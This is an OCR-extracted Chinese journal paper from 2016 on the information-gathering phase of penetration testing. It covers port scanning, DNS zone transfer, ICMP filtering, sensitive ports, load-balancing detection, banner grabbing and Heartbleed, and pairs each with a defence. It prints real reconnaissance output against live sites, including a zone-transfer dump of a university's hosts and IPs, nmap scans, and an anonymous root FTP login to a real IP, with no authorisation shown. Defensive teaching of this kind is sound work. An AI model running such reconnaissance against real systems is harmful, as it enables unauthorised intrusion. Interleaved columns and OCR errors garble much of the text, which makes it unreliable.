的 信息很详细 , 并且可 以 对   中 主 机 的 IP 、 MAC 地 址 、 MA C 厂 商等信 息 ? 另 行仔细分析 ,但其可供分析的信息量有限 .   外 , 在 内 网 主 机 中 有 一 个敏 感 服务 : Ne tB IOS 服 W eb 指 纹 识 别 工 具包 括 wh a tweb 和 WP -   务 , 主机若开启此服务则可 能被 nb ts can 有关工具 Sc an,  wh a tw eb 用 来探测 常 见 的 W eb 服务 , 如 应   利用 而得 到 主机 的 IP 、 Ne tBIOS 名 称 和 MAC 地 用 版本 、 内 容管理系统 ( c on te n t m a nageme n t sy s -   址等信息 . t em , CMS ) 等 , 它 扫 描速度快 , 得 到 的信息 准 确 .   1 . 4 主机扫 描 WPSca n 专 门 针对 由 word pr es s 搭建 的 网 站 存在   在确 定 目 标地址后 , 需要对主 机进行更 完 整 的漏洞 进行扫 描 , 以 探 知 可 能 存在 的插件和 主题   的扫 描 以 获取开放端 口 、 服务和 主 机名 、 主机操作 模板等信息 .   系 统 、 应用 程序 版 本等详 细 信息 . 在主 机 扫 描 [ 1 ° ] 1. 6 协议分析   中 , 端 口 是 一 个重点 , 端 口 支撑着对应 的 服务 , 个 此阶段通过 一些工具来记录 协议或运行协议   别敏感端 口 的 开放是扫 描 中 最令人兴奋 的 地方 . 的软件的交互过程 来分 析协议 的 具体执行过程 ,   主机扫 描 大都 利 用 基本 的 网 络 协议 如 TCP 在此过程 中 可 能 得到 一 些敏感 的 信息 或 者漏洞 .   等 , 扫描的类型也可 以 分为 TCP con ne ct ( ) 扫 描 、 涉及 到 的 协 议 主 要 有 Mi c roso ft 网 络通 信协 议   TCP  SYN 扫描和 TCP F IN  扫描 ? ( se rve r m es sa g e b l o ck , SMB ) 、 简 单 网 络邮 件传   1 ) TCP  c onn e ct O扫 描 : 最基本 的  TCP 扫 描 , 送协议 ( s i mp l e m ai l  t rans fe r pro to co l , SMTP ) 、   它借助 co n ne ct O 系统调用来测试端 口 的侦听状态 . 简单 网 络管 理协议 ( si mp le ne twork man ag em e nt   优点是多线程速度快 , 缺点是易被发现并被过滤 . pro toc ol , SNMP ) 、 安 全 套 接 层 ( se cu re s ocke t s   2 ) TCP  SYN 扫描 : 属 于 “半开 放 ”扫 描 , 它 不 l ay er , SSL ) .   打开 一个完全 的 TCP 连接 , 只发送 SYN 数据包 , 在 SMB 协议 的分析中 , 可 以 利用 acc ch e ck 工   相对较为隐蔽 , 一般不 会在 目 标主 机上 留 下 记录 , 具使用 用户 名 密 码字典枚举 的 方法尝试与 目 标 IP   但它 必须要求用户 具有 roo t 权 限. 进行 IPC  ¥ 与 A dmi n  ¥ 的连 接 , 若 目 标 主机开 启   网址 h tt p : / /hs . s i c . g o v . cn | 2 1 3   信 息 安 全 研 究 第 2 卷 第 3 期 20 1 6 年 3 月   J o u r n a l  o f I n f o r m a t i o n  S ec u ri t y  R e s e a r c h V〇l . 2 N 〇. 3 M a r .  20 1 6   对应端 口 与共享则 可能 出 现 I PC ¥ 入侵. 对于 SSL 其防 护措施有 2 种 : 一是通过 一般条件而 不   协议 的分析 , 可 以使用 ss l sc an 工具来扫 描服务 器 是绝对路径 的方式来 引 用 文件 ; 二 是在不允许访   所支持 的 加 密 方 式 、 SSL 证 书 等 信 息 以 及 有 无 问 的 索 引 中设置 一些假文件 , 或者部署蜜罐等 .   H e ar tb l e ed 漏洞 . 另 夕卜 , 也可 以 使用 如 s s l d ump 等 2 .  2 区 域传送漏 洞   工具来侦听 SS 1 加 密数据包 . 区域传送操作指 的 是后 备服务 器使用 主服务   器 的 数据来刷 新 自 己 的 zo n e 数据 , 它为 DNS 服务   2 常见漏 丨同 与 安全策略 提供 了冗余 , 防止 了 主 域名 服务器 出故 障 时 整 个   DNS 服务瘫痪 的 情况 . 一般来说 , DNS 域传送操   2. 1 robot s 文件有 价值信 息的 暴 露 作只发生 在 主 备服 务器之 间 , 但 如 果配 置不 当 就   众所周 知 , 网 站 目 录 下 的 ro bo ts , t xt 文件 是 会出 现任 何 匿名 用 户 都可 以 获取 z on e 数 据库 的   用来设置搜索 引 擎访 问 权限 的 , 它 指 明 了 搜 索 引 全部拷 贝 从而将整个企业 的 网 络架构 对外 暴露造   擎不应抓取的 目 录 . 这样从 一定意 义上保 护 了 文 成严重 的信息泄露 , 甚至导致整个企业 网络被渗透.   件所有者想要 隐藏 的 目 录 和 一 些 有 用 的 信息 , 但 图 1 所 示为 使用 fi er c e 工 具对 bi g c. ed u. cn   同 时也给 恶意人侵者 快速发现敏感信息提供 了便 进行测试 的 部分结果截 图 , 可 以 看 出 此 网 站 存在   利 . 入侵者可 以 从 r obo t s ,  t xt 文 件 中 探知 网 站 服 着区域传送漏洞 ,暴露 出 了  DNS 服务器 dns . b ig c.   务器部署 上 的技术 , 可 以 遍历所有 被禁 止抓 取的 e du .  cri 的所有数据 .   目 录以 搜索 隐 藏资 源 , 若其 中 包含 了 网 站后 台 或 而对 于 b a i du. com 进行测 试 , 结果 没有此漏   者数据库 , 给 网 站 带来 的 危害 将会是致命 的 . 洞 , 如 图 2 所示 .   DNS S e r v e r s f or b i g c . e d u . c n :   d n s . b i gc . e d u . c n   T ry i n g z o n e t r a ns f e r f i r s t " .   T e st i n g d n s . bi gc . e d u . c n   W h o a h j it w or k e d -  m i s c o n fi g u r e d DNS s e rv e r f o u n d :   bi gc . e d u . c n . 3 60& I N SOA d n s . b ig c . e d u . c n . r oot , b ig c . e d u . c n . (   20 1 5 1 2 30 1 0 ^ s e r i a l   30 j r e fr e s h   3 0 ^ r et r y   3 60 ; e x p i r e   3 606 ) ; mi n i mu m   bi gc . e d u . c n . 3 600 I N MX 10 ma i l . b i gc . e d u . c n .   b i g c . e d u . c n . 3 6 00 I N N S d n s . b i gc . e d u . c n .   a d . b i g c . e d u . c n . 3 6 ^0 I N A 2 2 3 . 7 2 . 2 3 0 . —   a ga . bi g c . ed u . c n . 3 600 I M A 2 2 3 . 7 2 . 2 30 . I   a i xi n . b i g c . e d u . c n . 3 6 00 I N A 2 2 3 . 7 2 *  2 30 ? 議 》   a n i . bi g c . ed u . c n . 3 600 I N A 2 2 3 . 7 2 . 2 30 .   a rt . b i g c . e d u . c n . 3 600 I M A 2 02 . 20 5 . 10 5 .   d . a r t . b i g c . e d u . cn . 3 6 66 I M A 2 0 2 , 20 5 , 1 05 . ?   a ut o . bi g c . ed u . c n . 3 609 I N A 2 2 3 . 7 2 . 2 30 . ??   a ut o m a n a g e . b i g c . e d u . c n . 3 600 I M A 2 02 . 20 5 . 10 5 .   a ut o m at i o n , b i g c . e d u . c n . 3 6 00 I N A 2 02 , 20 5 , 1 05 .   ba ow e i c h u . bi gc . e d u . c n . B 800 I N A 2 2 3 . 7 2 . 2 30 . ?   b b s . b i g c . e d u . c n . 3 600 I M A 2 62 . 26 5 . 10 7 . P9   b gy p . b i g c . e d u . c n . 3 6 00 I M A 2 62 . 20 5 . 1 05 .   bi gc - m a i l . tj i gc . e d u . c n . 3 6^0 I M A 2 02 . 20 5 . 10 7 . ?   b i gc p e . b i g c . e d u . c n . 3 6 60 I N A 2 02 . 20 5 . 1 65 .   byxb . b i g c . e d u . c n . 3 6M I M A 2 02 . 20 5 . 1 05 .   c a iw u . b ig c . ed u . c n . 3 600 I N A 2 02 . 20 5 . 10 5 ,   c a r d . b i g c . e d u . c n . 3 600 I M A 2 02 . 20 5 . 1 64 ,   图 1 b igc.  edu cn 的 区域传送漏 洞测试结果   2 1 4 |   ?> . . .   D N S S e rv e r s for  b a i d u . c om :   d n s . b ai d u . c om   n s4 . b ai d u . c om   n s 7 . b ai d u . com   n s 3 . b ai d u . c om   n s 2 . b ai d u . c om   T r yi n g z o n e t ra n s - fe r - fi r st . . .   T e st i ng  d n s . ba i d u . com   R e q u es t t i m ed o u t o r t r a n sfe r  n ot a l l ow ed .   T e st i ng  n s4 . ba i d u . c om   R e q u es t t i m ed o u t o r t r a n sfe r  n ot a l l ow ed .   T e st i ng  n s 7 . ba i d u . com   R e q u es t t i m ed o u t  o r t r a n sf er  n ot a l l ow ed .   T e st i ng  n s 3 . ba i d u . com   R e q u es t t i m ed o u t  o r t r a n sfe r  n ot a l l ow ed .   T e st i ng  n s 2 . ba i d u . com   R e q u es t t i m ed o u t  o r t r a n sf er  n ot a l l ow ed .   U n s u c c es s fu l in z o n e t r a n sf e r ( i t  w as wo rt h a  s h ot )   Ok ay j t ryi n g t h e g o od  o l d f a sh i o n e d wa y . . . br u t e for c e   图 2 ba i du com 的 区 域传送漏 洞测试结果   造成 区域传 送漏 洞 的 根 本 原 因 是 配 置 的 错 通 了 一 个主机 , 则 很有 可 能 将其作为 切 人点 进行   误 ,所 以 只 需要修改相 应配置 即 可 . 具体办法为 在 渗透或 者发起 DD os 等攻击 . 即 使没有 出 现 DDo s   相应 的 zone 和 o pt i on s 中 添 加 a l l ow - t ra n sf er 限 等恶意攻击 , 频繁 的 p i ng 也会给服务器增加 负担 ,   制来指定可 以 同步 的服务器即 可 . 使服务器性能下 降 .   2 . 3 ICMP 包 的 过 滤 所 以如 果 能够过滤 ICMP 包 , 禁止 响应 pi ng   一个完整 的渗透测试通常是 以选 定 目 标开始 , 命令就会减 小 网 站 受到 攻击 的 可 能 性 , 使 网 站更   而选定 目 标 一 般是用 主 机 是否 在线 来作 为标 准 , 加 安全 、 性能更高 .   p ing 命令作为最常用 的 判 断主 机在 线 情况 的 工具 下 面 图 3 和 图 4 展示 了 一个 网站禁用 p i ng 命   在 网 络 中 有着 极 为 广 泛 的作 用 . 如 果人侵者 p i ng 令 的情况 :   C :  \Us er s \zmd >p i ng ww. b i g c . edu . cn   P i ng i ng www . b i g c . e du . cn [ 22 3 .  72 .  23 0 .  1 95 ] w i th 3 2 b yte s o f d at a :   Re que st t i me d out .   Re que st t i me d out .   Re que st t i m e d out .   Re que st t i me d out .   P i ng st a t i st i c s f or 22 3 . 7 2 . 23 0 .  1 95 :   P ack e t s :  S ent = 4 , Re ce i v ed  = 0 , L o s t = 4 ( 1 0 0% l o ss ) ,   图 3 对 www .  b igc .  ed tu cn  进行 p ing  测 试   r oo t ( 9k a l i2 : -# n ma p - Pn www . bi g c . ed u . c n   S t a rt i n g  N map 6 . 4 9BE TA 4 ( h t t p s : // nm ap . o r g ) a t 20 1 6 - 02 - 2 1 02 : 02   N ma p s c a n rep o r t f o r  www . bi g c . ed u . c n ( 223 . 7 2 . 230 . 1 95 )   H os t i s up ( 0 . 0 34 s l a t en c y ) .   N o t sh own : 99 9 f il t e re d p o r t s   P OR T S T A TE SE RV I CE   8 0/ t c p o pe n h t t p   N ma p d on e : 1 I P a dd r e s s ( 1 ho s t up ) s c ann G d  i n 1 1 7 . 6 4 s ec on ds   图 4 对  www .  b igc . ed u.  cn  进行  nmap  测 试   网址 h tp : // r i s . s i c . go v. c n | 2 1 5   信 息 安 全 研 究 第 2 卷 第 3 期 20 1 6 年 3 月   J o u r n a l  o f I n f o r m a t i o n  S ec u ri t y  R e s e a r c h V〇l . 2 N 〇. 3 M a r .  20 1 6   从 图 3 可 以 看 出 p in g 命令没有得到 响应 , 而 表 2 中 端 口 号 2 1 默认对应 的是 f tp 协议 , 该   通过 r n na p 的测 试结果可 以 看 出该主 机确 实在线 , 协议 曾 是互联 网 上最重要 的 应用 之 一 , 被广 泛应   即 它 过滤 了 ICMP 包 . 用 于文件上 传与 下 载 中 , 但 由 于其 年代 久远且有   2. 4 敏感端 口 与 服务 的 开启 许多令人垢病 的 缺点 , 现 在 已逐渐 被替代 . f tp 协   端 口 是计算机 与外 部 网 络相连 的 逻 辑 接 口 , 议最致命 的 缺点 就是安 全性很差 , 它包 括 口 令在   它 同 时也支撑 着计算 机所提供 的服务 , 对 于 处 于 内 的 数据传输使用 的 是 明 文方式 , 这就很容 易 被   网 络 中 的 主机来说极 其重 要 . 对 于想 要人侵某 台 捕获造成数据甚 至 口 令 的泄露 . 对 于 一 些安 全性   主机的 黑客来说 , 这 台 主 机所开 放 的 端 口 及 这个 较差 的 f t p 服务器 , 其 口 令也很容易 被猜解 , 甚 至   端 口 所提供的 服务往往 是他最感兴趣 的 . 从 网 络 有些 为 了 方便而设置为 匿 名 登录 , 极易被人侵 , 存   扫描 的 比 例来看 , 端 口 扫 描 占 比大约为 9 6 % , UDP 在着极 大 的 安 全隐 患 . 所 以 , 对于 一 般 的 主机 , 若   服务约 3 .  7 % , 其余 的 0 .  3% 包括 了 用户 名 密码扫 不架设 f t p 服务器 , 则应关闭 2 1 端 口 .   描 、 NetB IOS 域登 录 信息 和 SNMP 管 理数据 等 , 表 2 敏感端 口 号 及其 功 能   可见 端 口 扫描 的 吸 引 力之强 ? 一— —   一般来说 , 关 闭 不需要 的端 口 较为安 全 , 但同 ^ ^  祕传输服 务    时也关 闭 了对应 的 服务 和 功 能 , 所 以 应在安全 和 2 3 t e ln e t   功能 之间 作 一个平衡 ? RPC 远程过程调用服务   1 ) 对 网站服务器 DCOM 分布式组件对象模型服务   对于 网站服 务 器来说 , 因 其是 I nt e rn et 中 的 撕 N etBIOS 名 字 服务   焦点 , 接受大量 的 访问 而 且容易 被黑客 作 为攻击 1 3 8 NetBios   目 标 , 所 以 最好关闭 除 必须提供服务 的端 口 之外 1 3 9 NetBIOS   的 一切 端 口 , 如 图 5 和 图 6 所示 : 4 4 5   SMB 服务   N ma p s c a n  re po rt f or www . b a i d u . c o m ( 61 . 1 3 5 . 1 6 9 . 1 2 1 ) 3 3 8 9 远程桌面服务   Hos t i s  u p ( 0 . 0 0 1 S s  l a t e n c y ) .   Ot h e r a d d r e s s e s -fo r www . b a i d u . c om  ( n ot  s c a n n e d ) :  6 1 , k   M ot s h ow n : 9 9 8 -f i l t e r e d  po rt s 图 7 展亦 了 登录 一 '台 远程 ftp 服务器 的 情 况 ,   S e n E  I IZ I C E 其 中 的用 户 名 和 密 码可 以 随 意输人 , 可 以 看 出 该   44 3 /t c p o p e n h tt p s 服务器为 Un i x 操作系统 , 提供打印共享服务 ?   图 5 www .  ba ida com 网站开启 的端 口   r o o t@ k al i 2 :  ̄ # ft p   f t p > o pe n  22 2 . 2 8 . 1 4 2 . 1 2   C o n ne c t ed  t o  22 2 . 28 . 1 4 2 . 1 2 .   Nm a p  s c a n  r e p o r t f or www . bi g c . e d u . c n ( 2 2 3 . 7 2 . 2 30 . 1 9 5 ) 2 2 0 J D F T P S e r v e r  R e ad y .   Ho s t i s u p ( 0 . 0 3 3 s l a t e n c y ) . N a m e ( 22 2 . 28 . 1 4 2 . 1 2 : r o o t ) :  r o o t   Not s h own : 9 9 9  f i l t e r e d port s 3 3 1  E n t e r pa s swo r d .   S^ t t - P a c k a rd  FT P P r i nt Se r v e r Ve r si o n 2 . , . 5   B o/ t c p op e n h tt p   D i re c t o r y : De s c r i pt i o n :   图 6 www .  b igc.  ed u.  cn 网站开启 的端 口      P 0R T 1 P ri nt to  p o r t 1 HP  La s e rJ e t 5 20 0   从 图 5 、 图 6 可 以 看 出 , 作 为 Web 服 务器 , 3   WWW .  b a i du. com  仅 开 启 了 W eb  访 问 必 须 的 8 0 R e ad y t 〇 p r i nt t 〇  po r t i   和  44 3  端 口 , WWW .  b i gc . e du . cn  也是仅 开启 了  8 0 2 30  Us e r  l o gg e d i n .   端 口 , 不需 要开启 的 端 口 全部关闭 , U s i ng  b in a r y  mo d e t o t r an s f e r f i l es .   f t p > I   2 ) 对局域 网 内主机   局域 网 内 的 主机不像 网站服务器那样有严苛 ftP S m 22 2 _ 28 ‘ 1 4 2 ‘ 1 2   的安全性需求 , 为 某些 服务和 功 能 的 需要 还会 开 2 3 端 口 运行的 t e l n et 协议是 I nt er n et 远程登   放某些端 口 , 但对于 一 些 较为 敏感 的 端 口 和 服务 录服务的主 要方式 , 它 为用 户 提供 了 在本地计算   还应注意 . 机上完成远程主机工作 的 能力 . t e lne t 同 样存在着   2 1 6 |   明文传输与 密 码猜解等安 全 隐患 , 因 其 隐 蔽性与 对于 一 般主机来说 默认 情况 下均开 启 了 该服务 ,   易用 性 , 成为 黑客所青睐 的对象 , 所 以 一 般不需要 应手动 关闭此服务及其对应 的 端 口 .   t e lne t 服务 的 主机应 当 关 闭 2 3 端 口 . 如 果需 要远 4 45 端 口 提供 了 服 务器 消 息 块 ( s e rver m e s -   程登录 的 功能 , 可 以 改用 SSH 或 者修 改 t e lnet 的 sa ge  b loc k , SMB) 服务 , 它 提供 了 W i nd ows 网 络   端 口 号 . 中 最常 用 的 远 程 文件 与 打 印 机 共享 网 络 服务 .   1 3 5 端 口 主要用 于远程过程调用 ( rem ot e p ro - SMB 服务作为 Wi ndows 系统 网 络服务 渗透攻击   c ed ur e ca l l , RPC )协议并提供分布 式组件对象模 的 头号 目 标 , 已 被 发现 的 安 全漏 洞 达 数 1 0 个之   型 ( DC OM ) 服 务 . RP C 协议 在 处理通 过 TCP/ IP 多 , 包括 MS1 0 - 0 5 4 , MS1 0 - 0 1 2 等 . 对于 局 域 网 内   的消息交换时 出 现 一 个漏洞 , 攻击 者通过发送不 主机来说 ,应关闭 该端 口 .   正确 的 RP C 消息就 能 够使 一 台 主 机上 的 R PC 服 3 3 8 9 端 口 是远程桌 面 的服务端 口 , 易被黑 客   务 出 现 问 题 , 进而获得 目 标机器 的 完 全权 限 并执 人侵而 以 图 形化界 面 的 方式 远程 操纵计算 机 , 所   行任意代 码 . 名 噪 一 时 的 “ 冲 击波病毒 ” 就是利 用 以 亦应注意 关闭 此端 口 .   RP C/ DCOM 漏洞 , 对 全球 的 Wind ow s 操作 系 统 2 . 5 网 站 负载 均衡   机器造成 了 巨 大的 危害 . 为避免遭受此类攻击 , 应 负 载均衡是指 由 多 台 服务 器以 对等 的方式组   关闭 此端 口 . 成 一个集合 , 集合 中 的 每 台 服务器可 以 单独 对外   1 3 7 , 1 3 8 和 1 3 9 端 口 共同 支撑 了 一个称作 网络 提供服务 . 它们之 间相互 协作 , 在负 载分担技术 的   基本输入输出 ( n etw ork  ba si c in pu t /o ut p ut  s ys tem , 支撑下将外 部请求均 匀分配 以 解决大量并发访 问   Ne tB IO S ) 的 服务 . 该服务为局 域 网 内 Wi n dows 系 问题 ,结构如 图 8 所示 . 负载 均 衡技术可 以 大幅提   统上 的应用程序实 现会话层之 间 的通 信提供 了 基 高访 问 效率与 响应 时 间 , 尤 其在 应对大量并发访   本支持 , 为局 域 网 内 的 信息通 信提供 了 便利 . 然 而 问 时表现优异 . 一 些黑客攻击如 DD〇 S 攻击正是利   对于 处于 I n t er n e t 上 的 网 络主 机来 说 , Ne tBIOS 用 大量并发访问 的方式来消 耗 目 标服务 器 的 资源   相 当 于 一个后 门 程序 , 黑客可 以 利 用 N etB IOS 漏 而导致无法提供正常 服务直 至宕机 , 所 以 网 站采   洞发起攻击 . 历史上著名 的 MS0 3 - 0 3 4 安全漏洞 即 用 负载 均衡技术即 可很好地应对这类 问题 .   是基于此而造成主机信息泄露 . 目 前负 载 均 衡 技术在 实 际应 用 中 大体 分为   不 同 于 其他 服务 , Ne tB IOS 服 务 和 TCP /IP DNS 负 载 均 衡和 H TTP 负 载 均 衡 . DNS 负 载 均   协议捆绑 在 一起安装 , 它是 系统 的 默认设置 , 所 以 衡是最早 的负载均衡解决方案 , 它 是通过 DNS 服   客 户   负载均衡器 /   服务 器  B f J ^  ̄M nt e rne t  )   交换机 路 由 器   图 8 DNS 负 载均衡结构   网址 htt p : // r i s . s i c . go v. c n | 2 1 7   信 息 安 全 研 究 第 2 卷 第 3 期 20 1 6 年 3 月   J o u r n a l  o f I n f o r m a t i o n  S ec u ri t y  R e s e a r c h V〇l . 2 N 〇. 3 M a r .  20 1 6   务器 中 的 随机名字解析来实 现 的 . 在 DNS 服务 器 务 器 当前 的负载情况 , 可 能 出 现 系统瓶颈 , 所 以 现   中 已 经为 多个不 同地址 的 服务器配置 了 相 同 的 域 在的 主流 大 网 站将其与 新 的 H TTP 负 载 均 衡搭   名 ,这样 不 同 的 客 户 机 访 问 网 站 会 得 到 不 同 的 配使用 .   We b 服务 器. 如 图 9 中 百 度 的 DNS 查 询 结果 所 可 以 看 出 , 1 6 3 .  com 使用 了 DNS 负 载均衡和   示 , 它 的 A 记录有 2 个 . 然 而这种 负载均衡方式也 HTTP 负载均衡 2 种技术 , 而 b es ti 则未采用 任何   存在 着很大的 缺点 , 它并没有考虑到 每 个 W eb 服 负 载均衡技术 .   r o o t @ k a l i2 :  ̄# d ig www . b aid u . c o m   ; ? ? D i G  9 . 9 . 5 - 9 + deb 8u5 - D e b i a n  ?? www . b a i d u . c om   ; ; g l o b al  o p t i o ns : + c m d   ; ; G o t a n s we r :   ; ; - ?H E A D E R? -  o p c ode :  QU ERY , s t a t u s : N O ERRO R , id : 480 8 2   ; ; f l a g s :  q r 「 d 「a ; QU ERY : 1 , A N S WER : 3 , A U TH O R I TY : 5 , A DD IT I O N A L : 1   ; ; O P T P S E U DO S E CT I O N :   ; ED N S : v e r s i o n : 0 , f l ags : ; MB Z : 0 00 5 f u d p : 4 0 9 6   ; ; Q U ES T I O N S E C T I O N :   ; w ww . b a i d u . c o m . I N A   ; ; A N S WER S E C T I ON :   www . bai d u . c o m . 5 I N C N A ME ww w . a . s h i f e n . c o m .   w ww . a . s h i f o n . c o m . 5 I N A 6 1 . 1 35 . 1 6 9 . 1 2 1   www . a . s h i f e n 乂 〇 [11  ■ 5 IN A 6 1 . 1 35 . 1 6 9 . 1 2 5   图 9 百度 的 DNS 查 询结 果   l b d -  lo a d b a l an c i ng  d et e c t or  0 . 4 -  C h e c k s if a gi v e n d o ma i n us e s l o a d - b a l an c in g .   Wr it t e n b y St e f a n B e ht e ( ht t p : / / g e . m i n e . n u )   P r o of - of - c o n ce pt ! M i gh t g iv e f a l s e p o s it i ve s .   C h ec k i ng  - F o r D NS - L o ad b a la n c in g : FOU MD   1 6 B . x dw sc a c h e . ou r g l b0 . c om h as  a dd r e s s  1 1 1 . 20 2 . 6 0 . 4 8   1 6 B . x dw sc a c h e . ou r g l b6 . c om  h as a dd r e s s  1 1 1 . 20 2 . 6 0 . 4 7   C h ec k i ng  fo r H TT P - L o a d b al a n ci n g  [ S e rv e r ] :   Cd n  C a ch e S e r ve r  V2 . 0   FOU M D   C h ec k i ng  f o r H TT P - L o a d b al a n ci n g  [ D at e ] : 13 : 35 : 3 1 』 1 3 : 35 : 31 , 1 3 : 3 5 : 3 1 , 1 3 : 3 5 : 3 1 , 1 3 : 3 5 : 31   C h ec k i ng  f o r H TT P - L o a d b a l a n ci n g  [ D i - ff ] : NO T FOU M D   www . 1 6 3 . c o m d o es  L o ad - b al a n ci n g . F o u n d v i a Me t h o ds :  D NS  HT T P [ S e r v e r ]   图 1 0 1 6 3 ,  c om 的负 载均衡情况   l bd - l o ad  b al a n ci n g  d e t ec t o r 0 . 4 - C he c k s if a  g iv e n d o m ai n us e s lo a d - b a l an c i n g .   W ri tt en by St ef a n B e ht e  ( h t t p : / / g e . m i n e . n u )   P ro of - of - co n c ep t ! Mi g ht  g i v e - f al s e p o s it i ve s .   C h e c ki n g fo r  D N S - L o a d ba l a n c i ng : MO T FOU N D   C h e c ki n g fo r  H T T P - L o ad b a l a n c i ng  [ S e r ve r ] :   ng i nx / 1 . 4 . 1   n g i nx / 1 . 4 . 1   MO T F OU ND   C he c ki n g fo r  H T T P - L o ad b a l a n c i ng  [ D a t e ] : 1 5 : 9 8 : 1 9 , 1 5 : 0 8 : 1 9 』 1 5 : 0 8 : 19 , 15 : 0 8 : 1 9 , 1 5 : 0 8 : 20   C h e c ki n g fo r  H T T P - L o ad b a l a n c i ng  [ D i ff ] : NOT FOU N D   ww w . be st i . e d u . c n d o e s MO T u s e L o a d - b a la n c in g .   图 1 1 b e s ti .  edu cn 的负 载均衡情况   2 . 6 Banner 信 息 抓取 从图 1 2 可 以 看 出 该 网 站使 用 的 Se rve r 为   Ban ne r 指 的 是网 站 的应用 程序指纹信息 , 通 ng in x  1 .  4 . 1 版本 ,搭建框架为 PH P 5 .  4 . 1 6 版本 .   过文件传输工具 cu rl 可 以 得到 网 站 的服 务器类型 这样把 网 站搭建 的 详细信息 暴露给入侵者将会使   与版本 、 网 站搭建所使用 的技术等 Banne r 信息 . 人侵变得更有 针对性 , 给 网 站增 加 安全隐 患 . 解决   2 1 8 |   ?> . . .   办法就是将 网 站 的 Ba nne i ? 信息 隐藏或 者修改为 或者返 回 一 些无关 紧要 的 信 息 , 这样就会使 网 站   其他如 广告之类 的 信息 , 使其 不 返 回 Se rve r 信息 更加安 全.   HT TP / 1 . 1 0K   Se rv er : n gi n x / 1 . 4 . 1   Da t e : W e d j 0 6 J a n 2 0 1 6 1 1 : 4 2 : 3 9  GMT   Co n t e n t - Ty p e : t ex t / h t m l ; c h a r s e t = u tf - S   Co n n e c t i o n : k ee p - a l i ve   X - Pow e r e d - By : P HP / 5 . 4 . 1 6   Set - Co o ki e :  P HP S E SS I D= d S b l e 64 5 7 1 2 5 c 4 e 9 e 8 -f 7 -f0 c e e 4 9 8S3 3 e ; p a t h = /   E x pi re s : Th U j 1 9 N ov 1 9 S 1  9 8 : 5 2 : 0? G MT   Ca c h e - Co n t r ol : n o - s t or e ^ n o - c a c h e , m u s t - r e va l i d at e , p os t - c h e c k = 0 j pr e - c he c k = 0   Pr a g ma : no - c a c h e   图 1 2 某 网站 的 Banne r 信息   2 . 7 Iiear tb le ed 漏 洞   He a rt bl ee d 中 文 名 为 “心 脏出 血 ” , 是存 在于 参 考 文 献   O p enSSL 中 的 一个漏洞 . 在 O p enSSL 的个另 !J版本   中 , 出 现 由 于 m em卬 y ( )调 用 时未进行边界 检查而 [ 1] 诸葛建伟 , 陈 力 波 , 孙松柏 , 等 _ M et as p lo i t 渗透测试魔 鬼   使服务器 内 存泄露 的 问 题 , 该 漏洞 导 致攻击者可 训练 营 [M] . 北京 : 机械工业 出版社 , M i s   以远程读 取 O penSSL 服务器 内 存 中 存 在 的 用 户 [2 ] 王 晓聪 ’ 张冉 , 黄赪东 ? 渗透测试 技术浅析 [J 1 计 算机科   名 、 密码和信用卡 号等隐私 信息在 内 的数据 . .丄 丨 杜 +   由 于 O pe nSSL 的 广 泛 应 用 ( O pe nSSL 在 M  f   字 , 20 1 4 :   Ap ach e/ Ng inx 中 使 用 , 这 两 者 的 全 球 份额 超 过 [4 ] 诸葛建伟 . 网 络攻随术 与实 践 [M ] . 北 京 : 电子工 业 出   6 0 % ) , 该漏洞 影响 巨 大 , 在著名 的渗 透测 试框架 版社 , 2 0 1 1   M e ta s p l oi t 中 已经有 了 对应的攻击脚本 ,这大大 增 [ 5] 许正强 . 网络信息安全渗透测试平台 研究 [ D] . 广 州 : 广东   加 了 存在该漏洞 的 网 站 受攻击 的 可 能性 . 应 对该 2 〇 〇 8   漏洞 的解决办法就是尽快检查 自 己 网 站 的 服务器 [ 6]  Bro a d  J , Bi ^ dn er A Ka l i 渗透 测 试技术实 战 [ M] _  IDF 实   O p enSSL  版本 , 不使用受 影 响 的 1 .  0 . 1 - 1 . 0 . I f 版 2 0 14   士 、义 [7 ] Ka li  官网 [ OL] .  [ 2 0 1 6 -0 1 -2 0 ] . http : / / www. k al i . org/   本 ’ 或者下载 对应补丁并重 新编译 . [8 ] 严俊龙 . 基 于 M_p lo it 框架 自 动化渗透测试研究 [J ] . 信   息 网络安全 , 2 0 1 3 , 2 :  5 3 — 5 6   口 口 [9 ] IVf eta splo it  官网 [OL] . [ 20 16 - 0 1 - 20] .  http : / /www .  me tasplo it*   com/   随着社会 信息 化程度 的 不 断提髙 , 网 络安全 [ 10 ] 袁浩 . 计算 机 网 络 渗透 测试 研 究 [ D] . 重 庆 : 重 庆 大学 ,   问题越来越 引 起人们 的 关注 . 渗 透测 试作为 新兴 2 〇 0 6   的保护 网 络安 全 的 措施 , 为 网 络安 全带 来 了 新思   路 , 建立 了新屏障 . 信息搜集 作为渗 透 测试 的首 要 张明 舵   阶段 , 在很大程度 上决定 了 一 次渗 透测 试 的 成功 f 硕 士研 究 生 , 主 要研 究 方 向 为 渗透 测 试 、   与否 , 在整个渗透测 试生 命周 期 中 有 着极为 重 要 . 信 息 #全 .   的作用 . 本文 研究 了 信息 搜集 各细 化阶 段与 部分 J ^ 1 54 0 1 0 1 6 2 3@ q q . co m   的技术 、臓肋 f e , 并綱 Z :具齡納撕 ,   最后 对网 站或 主机系统常 见 的危 险点 与 防范 措施 乂   进行 了集 中 总 结 , 为 网 站 与 主 机安 全提供了 良 好   AA m ct* 士 士 ? 丨此 丑 士 工 士 曰 古 W * 副 教授 , 主 要研 究 方 向 为 公钥 密 码 学 、 计   的思 路 . 另外 , 本文 的创新点 在于所有 例 子均 是真 ? I   实的正在使用 的 大 网 站 如 百 度 和 学校 的 网 站 等 , I : 1 t .   zhang jm (^ be s ti .  edu .  cn   而不 是常见 的 自 己 搭建 的靶机 , 更具 实 际 价值和 # 、 / I   说服力 _   网址 htt p : // r i s . s i c . go v. c n | 2 1 9  
pdf
